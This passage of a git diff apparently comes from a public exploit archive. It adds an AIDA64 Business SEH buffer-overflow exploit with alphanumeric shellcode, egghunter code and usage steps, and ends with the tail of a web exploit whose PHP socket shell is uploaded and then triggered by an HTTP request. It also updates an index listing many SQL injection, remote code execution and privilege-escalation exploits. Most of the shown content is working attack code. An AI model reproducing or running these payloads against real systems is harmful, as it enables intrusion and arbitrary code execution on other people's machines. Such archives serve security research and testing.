$out = '';\n if(substr($c,0,3) == 'cd '){\n chdir(substr($c,3,-1));\n } else if (substr($c,0,4) == 'quit' || substr($c,0,4) == 'exit') {\n break;\n }else{\n $out=gsMRl(substr($c,0,-1));\n if($out===false){\n @socket_write($s,$nofuncs);\n break;\n }\n }\n @socket_write($s,$out,strlen($out));\n }\n @socket_close($s);\n }\n?>\n\r\n-----------------------------"+boundary+"--\r\n" + +requests.post(exec_url, headers=exec_headers, cookies=exec_cookies, data=exec_data) + +# Exec + +requests.get("http://"+rhost+"/myFiles/images/"+fname+"") \ No newline at end of file diff --git a/exploits/windows/local/46636.py b/exploits/windows/local/46636.py index c057e044a..b5362d67c 100755 --- a/exploits/windows/local/46636.py +++ b/exploits/windows/local/46636.py @@ -1,5 +1,5 @@ #!/usr/bin/python # -# Exploit Title: AIDA64 Extreme 5.99.4800 - SEH Buffer Overflow (EggHunter) # +# Exploit Title: AIDA64 Extreme 5.99.4900 - SEH Buffer Overflow (EggHunter) # # Date: 2019-04-01 # # Vendor Homepage: https://www.aida64.com # # Software Link: http://download.aida64.com/aida64extreme599.exe # @@ -11,14 +11,14 @@ # The program has SEH Buffer Overflow in several places.(this code show one of them) # # Note 1 : To optimize code, I've used a "stack pivot" that is the same in # # (Extreme, Engineer, Network Audit) Editions. # -# So this code works in (Extreme, Engineer, Network Audit) of version 5.99.4800 # +# So this code works in (Extreme, Engineer, Network Audit) of version 5.99.4900 # # But the stack pivots in Business Edition are different. # # Note 2 : All the old versions of the program that are available on the sites like soft32.com, # # or in https://www.aida64.com/downloads/archive # # have the same vulnerabily in different offsets (for example version 5.70.3800 ) # # Note 3 : this technique (EggHunter) has been used to run vulnerability in different windows versions. # # Steps : # -# 1- Run python code : Aida64.py ( Three files are created ) # +# 1- Run python code : Aida64-Extreme.py ( Three files are created ) # # 2- App --> File --> Preferences --> Email --> SMTP --> paste in contents from the egg.txt # # into "Display name" --> Ok # # 3- Report --> Report Wizard ... --> Next --> paste in contents from the egghunter-winxp-win7.txt # diff --git a/exploits/windows/local/46639.py b/exploits/windows/local/46639.py new file mode 100755 index 000000000..3f1ce0ad0 --- /dev/null +++ b/exploits/windows/local/46639.py @@ -0,0 +1,138 @@ +#!/usr/bin/python # +# Exploit Title: AIDA64 Business 5.99.4900 - SEH Buffer Overflow (EggHunter) # +# Date: 2019-04-01 # +# Vendor Homepage: https://www.aida64.com # +# Software Link: https://www.aida64.com/downloads # +# Mirror Link : https://www.softpedia.com/get/System/System-Info/AIDA64-Business-Edition.shtml # +# Exploit Author: Peyman Forouzan # +# Tested Version: 5.99.4900 # +# Tested on: Winxp SP2 32-64 bit - Win7 Enterprise SP1 32-64 bit - Win10 Enterprise 32-64 bit # +# Special Thanks to my wife # +# The program has SEH Buffer Overflow in several places.(this code show one of them) # +# Note 1 : To optimize code, I've used a "stack pivot" that is the same in # +# (Extreme, Engineer, Network Audit) Editions. # +# So this code works in (Extreme, Engineer, Network Audit) of version 5.99.4900 # +# But the stack pivots in Business Edition are different. # +# Note 2 : All the old versions of the program that are available on the sites like soft32.com, # +# or in https://www.aida64.com/downloads/archive # +# have the same vulnerabily in different offsets (for example version 5.70.3800 ) # +# Note 3 : this technique (EggHunter) has been used to run vulnerability in different windows versions. # +# Steps : # +# 1- Run python code : Aida64-Business.py ( Three files are created ) # +# 2- App --> File --> Preferences --> Email --> SMTP --> paste in contents from the egg.txt # +# into "Display name" --> Ok # +# 3- Report --> Report Wizard ... --> Next --> paste in contents from the egghunter-winxp-win7.txt # +# or egghunter-win10.txt (depend on your windows version) into "Load from file" --> Next # +# --> Wait a minute --> Shellcode (Calc) open # +#---------------------------------------------------------------------------------------------------------# + +#------------------------------------ EGG Shellcode Generation --------------------------------------- + +bufsize = 292 + +#msfvenom -p windows/exec cmd=calc.exe BufferRegister=EDI -e x86/alpha_mixed -f python -a x86 --platform windows -v egg +egg = "w00tw00t" +egg += "\x57\x59\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49" +egg += "\x49\x49\x49\x49\x49\x37\x51\x5a\x6a\x41\x58\x50\x30" +egg += "\x41\x30\x41\x6b\x41\x41\x51\x32\x41\x42\x32\x42\x42" +egg += "\x30\x42\x42\x41\x42\x58\x50\x38\x41\x42\x75\x4a\x49" +egg += "\x79\x6c\x5a\x48\x4e\x62\x77\x70\x57\x70\x63\x30\x71" +egg += "\x70\x4b\x39\x5a\x45\x35\x61\x4f\x30\x52\x44\x4c\x4b" +egg += "\x52\x70\x46\x50\x6c\x4b\x53\x62\x54\x4c\x6c\x4b\x43" +egg += "\x62\x44\x54\x6c\x4b\x71\x62\x51\x38\x34\x4f\x6e\x57" +egg += "\x31\x5a\x36\x46\x55\x61\x6b\x4f\x4c\x6c\x37\x4c\x75" +egg += "\x31\x73\x4c\x45\x52\x54\x6c\x77\x50\x49\x51\x48\x4f" +egg += "\x34\x4d\x53\x31\x69\x57\x39\x72\x4a\x52\x62\x72\x43" +egg += "\x67\x6e\x6b\x71\x42\x52\x30\x4c\x4b\x70\x4a\x47\x4c" +egg += "\x6e\x6b\x62\x6c\x62\x31\x72\x58\x6a\x43\x70\x48\x33" +egg += "\x31\x4e\x31\x52\x71\x4c\x4b\x36\x39\x37\x50\x63\x31" +egg += "\x5a\x73\x4c\x4b\x42\x69\x52\x38\x68\x63\x57\x4a\x31" +egg += "\x59\x4e\x6b\x44\x74\x4c\x4b\x55\x51\x38\x56\x50\x31" +egg += "\x6b\x4f\x6e\x4c\x69\x51\x78\x4f\x46\x6d\x36\x61\x58" +egg += "\x47\x46\x58\x4b\x50\x52\x55\x39\x66\x65\x53\x71\x6d" +egg += "\x79\x68\x45\x6b\x31\x6d\x45\x74\x34\x35\x7a\x44\x52" +egg += "\x78\x4c\x4b\x62\x78\x77\x54\x47\x71\x58\x53\x75\x36" +egg += "\x6c\x4b\x34\x4c\x70\x4b\x6c\x4b\x52\x78\x35\x4c\x43" +egg += "\x31\x58\x53\x6c\x4b\x73\x34\x6e\x6b\x67\x71\x58\x50" +egg += "\x6c\x49\x73\x74\x45\x74\x55\x74\x63\x6b\x61\x4b\x33" +egg += "\x51\x32\x79\x51\x4a\x36\x31\x49\x6f\x4b\x50\x71\x4f" +egg += "\x71\x4f\x42\x7a\x6c\x4b\x44\x52\x48\x6b\x6e\x6d\x31" +egg += "\x4d\x50\x6a\x35\x51\x6e\x6d\x6f\x75\x48\x32\x55\x50" +egg += "\x75\x50\x53\x30\x46\x30\x55\x38\x74\x71\x4c\x4b\x72" +egg += "\x4f\x4e\x67\x69\x6f\x6b\x65\x4d\x6b\x5a\x50\x38\x35" +egg += "\x79\x32\x56\x36\x45\x38\x59\x36\x6a\x35\x6f\x4d\x6f" +egg += "\x6d\x69\x6f\x59\x45\x35\x6c\x64\x46\x31\x6c\x76\x6a" +egg += "\x4b\x30\x79\x6b\x4b\x50\x74\x35\x73\x35\x4d\x6b\x73" +egg += "\x77\x65\x43\x71\x62\x32\x4f\x50\x6a\x75\x50\x31\x43" +egg += "\x39\x6f\x5a\x75\x55\x33\x43\x51\x72\x4c\x45\x33\x44" +egg += "\x6e\x62\x45\x31\x68\x62\x45\x63\x30\x41\x41" + +f = open ("egg.txt", "w") +f.write(egg) +f.close() + +#---------------------------------- EGG Hunter Shellcode Generation ------------------------------------ +egghunter = "\x8b\x7c\x24\x08\xbe\xe9\xfe\xff\xff\xf7\xde\x29\xf7" +egghunter += "\x57\x59\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49" +egghunter += "\x49\x49\x49\x49\x49\x49\x37\x51\x5a\x6a\x41\x58" +egghunter += "\x50\x30\x41\x30\x41\x6b\x41\x41\x51\x32\x41\x42" +egghunter += "\x32\x42\x42\x30\x42\x42\x41\x42\x58\x50\x38\x41" +egghunter += "\x42\x75\x4a\x49\x70\x66\x4c\x4c\x78\x4b\x6b\x30" +egghunter += "\x49\x6b\x54\x63\x42\x55\x74\x4a\x66\x51\x69\x4b" +egghunter += "\x36\x51\x38\x52\x36\x33\x52\x73\x36\x33\x36\x33" +egghunter += "\x38\x33\x4f\x30\x71\x76\x4d\x51\x6b\x7a\x39\x6f" +egghunter += "\x66\x6f\x47\x32\x36\x32\x4d\x50\x59\x6b\x59\x50" +egghunter += "\x33\x44\x57\x78\x43\x5a\x66\x62\x72\x78\x78\x4d" +egghunter += "\x44\x6e\x73\x6a\x7a\x4b\x37\x62\x52\x4a\x71\x36" +egghunter += "\x61\x48\x55\x61\x69\x59\x6f\x79\x79\x72\x70\x64" +egghunter += "\x59\x6f\x75\x43\x73\x6a\x6e\x63\x57\x4c\x71\x34" +egghunter += "\x47\x70\x42\x54\x76\x61\x72\x7a\x57\x4c\x37\x75" +egghunter += "\x74\x34\x7a\x76\x6c\x78\x72\x57\x46\x50\x76\x50" +egghunter += "\x63\x44\x6d\x59\x59\x47\x4e\x4f\x71\x65\x4e\x31" +egghunter += "\x6e\x4f\x51\x65\x38\x4e\x79\x6f\x4b\x57\x41\x41" + +egghunter10 = "\x8b\x7c\x24\x08\xbe\xe9\xfe\xff\xff\xf7\xde\x29" +egghunter10 += "\xf7\x57\x59\x49\x49\x49\x49\x49\x49\x49\x49\x49" +egghunter10 += "\x49\x49\x49\x49\x49\x49\x49\x37\x51\x5a\x6a\x41" +egghunter10 += "\x58\x50\x30\x41\x30\x41\x6b\x41\x41\x51\x32\x41" +egghunter10 += "\x42\x32\x42\x42\x30\x42\x42\x41\x42\x58\x50\x38" +egghunter10 += "\x41\x42\x75\x4a\x49\x4d\x53\x5a\x4c\x34\x70\x50" +egghunter10 += "\x31\x69\x42\x30\x52\x70\x52\x30\x52\x62\x46\x4e" +egghunter10 += "\x6c\x4a\x6b\x6b\x30\x59\x6b\x76\x43\x44\x35\x54" +egghunter10 += "\x42\x4d\x63\x59\x50\x30\x66\x4b\x31\x59\x5a\x69" +egghunter10 += "\x6f\x56\x6f\x43\x72\x31\x42\x6b\x30\x39\x6b\x6f" +egghunter10 += "\x30\x44\x34\x44\x4c\x48\x38\x64\x7a\x39\x6e\x39" +egghunter10 += "\x6f\x49\x6f\x6c\x37\x4b\x68\x68\x4d\x64\x6e\x72" +egghunter10 += "\x7a\x58\x6b\x47\x61\x54\x71\x4b\x6b\x76\x33\x31" +egghunter10 += "\x43\x76\x33\x50\x6a\x45\x79\x46\x38\x78\x33\x39" +egghunter10 += "\x50\x45\x34\x49\x6f\x46\x73\x4f\x73\x4b\x74\x66" +egghunter10 += "\x6c\x72\x7a\x65\x6c\x46\x65\x54\x34\x5a\x73\x78" +egghunter10 += "\x38\x51\x67\x34\x70\x30\x30\x30\x74\x4b\x39\x78" +egghunter10 += "\x57\x6e\x4f\x42\x55\x48\x4e\x4e\x4f\x74\x35\x5a" +egghunter10 += "\x6b\x69\x6f\x4b\x57\x41\x41" + +jmpback = "\xe9\xdc\xfe\xff\xff" # jmp back +nseh = "\xeb\xf9\x90\x90" # jmp Short back +seh = "\x50\x15\x40" # Overwrite Seh - Golden Pivot !! - Works on all Editions + +buffer = egghunter +buffer += "\x41" * (bufsize-len(buffer)-len(jmpback)) +buffer += jmpback +buffer += nseh +buffer += seh +print "[+] Creating %s bytes payload for winxp and windows 7 ..." %len(buffer) +f = open ("egghunter-winxp-win7.txt", "w") +print "[+] File created!" +f.write(buffer) +f.close() + +buffer = egghunter10 +buffer += "\x41" * (bufsize-len(buffer)-len(jmpback)) +buffer += jmpback +buffer += nseh +buffer += seh +print "[+] Creating %s bytes payload for windows 10 ..." %len(buffer) +f = open ("egghunter-win10.txt", "w") +print "[+] File created!" +f.write(buffer) +f.close() \ No newline at end of file diff --git a/files_exploits.csv b/files_exploits.csv index e6d0f9435..a80d6d313 100644 --- a/files_exploits.csv +++ b/files_exploits.csv @@ -6366,13 +6366,21 @@ id,file,description,date,author,type,platform,port 46569,exploits/windows/dos/46569.txt,"Microsoft Edge - Flash click2play Bypass with CObjectElement::FinalCreateObject",2019-03-19,"Google Security Research",dos,windows, 46570,exploits/multiple/dos/46570.txt,"Google Chrome < M73 - MidiManagerWin Use-After-Free",2019-03-19,"Google Security Research",dos,multiple, 46571,exploits/multiple/dos/46571.txt,"Google Chrome < M73 - FileSystemOperationRunner Use-After-Free",2019-03-19,"Google Security Research",dos,multiple, -46589,exploits/windows/dos/46589.php,"Canarytokens 2019-03-01 - Detection Bypass",2019-03-21,"Gionathan Reale",dos,windows, +46589,exploits/windows/dos/46589.php,"Canarytokens 2019-03-01 - Detection Bypass",2019-03-21,"Benjamin Zink Loft_ Gionathan Reale",dos,windows, 46594,exploits/linux/dos/46594.c,"snap - seccomp BBlacklist for TIOCSTI can be Circumvented",2019-03-22,"Google Security Research",dos,linux, 46604,exploits/windows/dos/46604.txt,"Microsoft Windows 7/2008 - 'Win32k' Denial of Service (PoC)",2019-03-26,ze0r,dos,windows, 46605,exploits/multiple/dos/46605.html,"Firefox < 66.0.1 - 'Array.prototype.slice' Buffer Overflow",2019-03-26,xuechiyaobai,dos,multiple, 46613,exploits/multiple/dos/46613.js,"Spidermonkey - IonMonkey Type Inference is Incorrect for Constructors Entered via OSR",2019-03-26,"Google Security Research",dos,multiple, 46621,exploits/windows/dos/46621.py,"Microsoft Visio 2016 16.0.4738.1000 - 'Log in accounts' Denial of Service",2019-03-28,"César Adrián Coronado Llanos",dos,windows, 46626,exploits/linux/dos/46626.txt,"gnutls 3.6.6 - 'verify_crt()' Use-After-Free",2019-03-28,"Google Security Research",dos,linux, +46646,exploits/multiple/dos/46646.txt,"SpiderMonkey - IonMonkey Compiled Code Fails to Update Inferred Property Types (Type Confusion)",2019-04-03,"Google Security Research",dos,multiple, +46647,exploits/multiple/dos/46647.js,"WebKit JavaScriptCore - 'createRegExpMatchesArray' Type Confusion",2019-04-03,"Google Security Research",dos,multiple, +46648,exploits/multiple/dos/46648.txt,"iOS < 12.2 / macOS < 10.14.4 XNU - pidversion Increment During execve is Unsafe",2019-04-03,"Google Security Research",dos,multiple, +46649,exploits/multiple/dos/46649.js,"WebKit JavaScriptCore - Out-Of-Bounds Access in FTL JIT due to LICM Moving Array Access Before the Bounds Check",2019-04-03,"Google Security Research",dos,multiple, +46650,exploits/multiple/dos/46650.js,"WebKit JavaScriptCore - CodeBlock Dangling Watchpoints Use-After-Free",2019-04-03,"Google Security Research",dos,multiple, +46651,exploits/multiple/dos/46651.html,"WebKitGTK+ - 'ThreadedCompositor' Race Condition",2019-04-03,"Google Security Research",dos,multiple, +46652,exploits/multiple/dos/46652.txt,"Google Chrome 72.0.3626.81 - 'V8TrustedTypePolicyOptions::ToImpl' Type Confusion",2019-04-03,"Google Security Research",dos,multiple, +46653,exploits/multiple/dos/46653.html,"Google Chrome 73.0.3683.39 / Chromium 74.0.3712.0 - 'ReadableStream' Internal Object Leak Type Confusion",2019-04-03,"Google Security Research",dos,multiple, 3,exploits/linux/local/3.c,"Linux Kernel 2.2.x/2.4.x (RedHat) - 'ptrace/kmod' Local Privilege Escalation",2003-03-30,"Wojciech Purczynski",local,linux, 4,exploits/solaris/local/4.c,"Sun SUNWlldap Library Hostname - Local Buffer Overflow",2003-04-01,Andi,local,solaris, 12,exploits/linux/local/12.c,"Linux Kernel < 2.4.20 - Module Loader Privilege Escalation",2003-04-14,KuRaK,local,linux, @@ -9218,6 +9226,7 @@ id,file,description,date,author,type,platform,port 32370,exploits/hardware/local/32370.txt,"Quantum vmPRO 3.1.2 - Local Privilege Escalation",2014-03-19,xistence,local,hardware, 32446,exploits/linux/local/32446.txt,"Xen 3.3 - XenStore Domain Configuration Data Unsafe Storage",2008-09-30,"Pascal Bouchareine",local,linux, 32501,exploits/multiple/local/32501.txt,"NXP Semiconductors MIFARE Classic Smartcard - Multiple Vulnerabilities",2008-10-21,"Flavio D. Garcia",local,multiple, +46639,exploits/windows/local/46639.py,"AIDA64 Business 5.99.4900 - SEH Buffer Overflow (EggHunter)",2019-04-03,"Peyman Forouzan",local,windows, 32572,exploits/windows/local/32572.txt,"Anti-Trojan Elite 4.2.1 - 'Atepmon.sys' IOCTL Request Local Overflow / Local Privilege Escalation",2008-11-07,alex,local,windows, 32585,exploits/windows/local/32585.py,"AudioCoder 0.8.29 - Memory Corruption (SEH)",2014-03-30,sajith,local,windows, 32590,exploits/windows/local/32590.c,"Microsoft Windows Vista - 'iphlpapi.dll' Local Kernel Buffer Overflow",2008-11-19,"Marius Wachtler",local,windows, @@ -10384,7 +10393,7 @@ id,file,description,date,author,type,platform,port 46600,exploits/windows/local/46600.txt,"VMware Workstation 14.1.5 / VMware Player 15.0.2 - Host VMX Process Impersonation Hijack Privilege Escalation",2019-03-25,"Google Security Research",local,windows, 46601,exploits/windows/local/46601.txt,"VMware Workstation 14.1.5 / VMware Player 15 - Host VMX Process COM Class Hijack Privilege Escalation",2019-03-25,"Google Security Research",local,windows, 46625,exploits/windows/local/46625.py,"Base64 Decoder 1.1.2 - Local Buffer Overflow (SEH Egghunter)",2019-03-28,"Paolo Perego",local,windows, -46636,exploits/windows/local/46636.py,"AIDA64 Extreme Edition 5.99.4800 - Local SEH Buffer Overflow",2019-04-02,"Peyman Forouzan",local,windows, +46636,exploits/windows/local/46636.py,"AIDA64 Extreme / Engineer / Network Audit 5.99.4900 - SEH Buffer Overflow (EggHunter)",2019-04-02,"Peyman Forouzan",local,windows, 1,exploits/windows/remote/1.c,"Microsoft IIS - WebDAV 'ntdll.dll' Remote Overflow",2003-03-23,kralor,remote,windows,80 2,exploits/windows/remote/2.c,"Microsoft IIS 5.0 - WebDAV Remote",2003-03-24,RoMaNSoFt,remote,windows,80 5,exploits/windows/remote/5.c,"Microsoft Windows 2000/NT 4 - RPC Locator Service Remote Overflow",2003-04-03,"Marcin Wolak",remote,windows,139 @@ -17282,6 +17291,10 @@ id,file,description,date,author,type,platform,port 46572,exploits/java/remote/46572.rb,"Jenkins 2.137 and Pipeline Groovy Plugin 2.61 - ACL Bypass and Metaprogramming Remote Code Execution (Metasploit)",2019-03-19,Metasploit,remote,java, 46627,exploits/php/remote/46627.rb,"CMS Made Simple (CMSMS) Showtime2 - File Upload RCE (Metasploit)",2019-03-28,Metasploit,remote,php,80 46628,exploits/multiple/remote/46628.rb,"Oracle Weblogic Server Deserialization RCE - Raw Object (Metasploit)",2019-03-28,Metasploit,remote,multiple, +46641,exploits/php/remote/46641.rb,"TeemIp IPAM < 2.4.0 - 'new_config' Command Injection (Metasploit)",2019-04-03,AkkuS,remote,php,80 +46645,exploits/python/remote/46645.py,"PhreeBooks ERP 5.2.3 - Remote Command Execution",2019-04-03,"Metin Yunus Kandemir",remote,python,80 +46654,exploits/multiple/remote/46654.html,"Google Chrome 72.0.3626.96 / 74.0.3702.0 - 'JSPromise::TriggerPromiseReactions' Type Confusion",2019-04-03,"Google Security Research",remote,multiple, +46655,exploits/hardware/remote/46655.rb,"Cisco RV320 and RV325 - Unauthenticated Remote Code Execution (Metasploit)",2019-04-03,Metasploit,remote,hardware, 6,exploits/php/webapps/6.php,"WordPress 2.0.2 - 'cache' Remote Shell Injection",2006-05-25,rgod,webapps,php, 44,exploits/php/webapps/44.pl,"phpBB 2.0.5 - SQL Injection Password Disclosure",2003-06-20,"Rick Patel",webapps,php, 47,exploits/php/webapps/47.c,"phpBB 2.0.4 - PHP Remote File Inclusion",2003-06-30,Spoofed,webapps,php, @@ -41078,3 +41091,7 @@ id,file,description,date,author,type,platform,port 46635,exploits/php/webapps/46635.py,"CMS Made Simple < 2.2.10 - SQL Injection",2019-04-02,"Daniele Scanu",webapps,php, 46637,exploits/php/webapps/46637.txt,"Fiverr Clone Script 1.2.2 - SQL Injection / Cross-Site Scripting",2019-04-02,"Mr Winst0n",webapps,php, 46638,exploits/php/webapps/46638.py,"phpFileManager 1.7.8 - Local File Inclusion",2019-04-02,"Murat Kalafatoglu",webapps,php, +46640,exploits/php/webapps/46640.txt,"iScripts ReserveLogic - SQL Injection",2019-04-03,"Ahmet Ümit BAYRAM",webapps,php,80 +46642,exploits/php/webapps/46642.txt,"Clinic Pro v4 - 'month' SQL Injection",2019-04-03,"Abdullah Çelebi",webapps,php,80 +46643,exploits/php/webapps/46643.txt,"Ashop Shopping Cart Software - SQL Injection",2019-04-03,"Ahmet Ümit BAYRAM",webapps,php,80 +46644,exploits/php/webapps/46644.txt,"PhreeBooks ERP 5.2.3 - Arbitrary File Upload",2019-04-03,"Abdullah Çelebi",webapps,php,80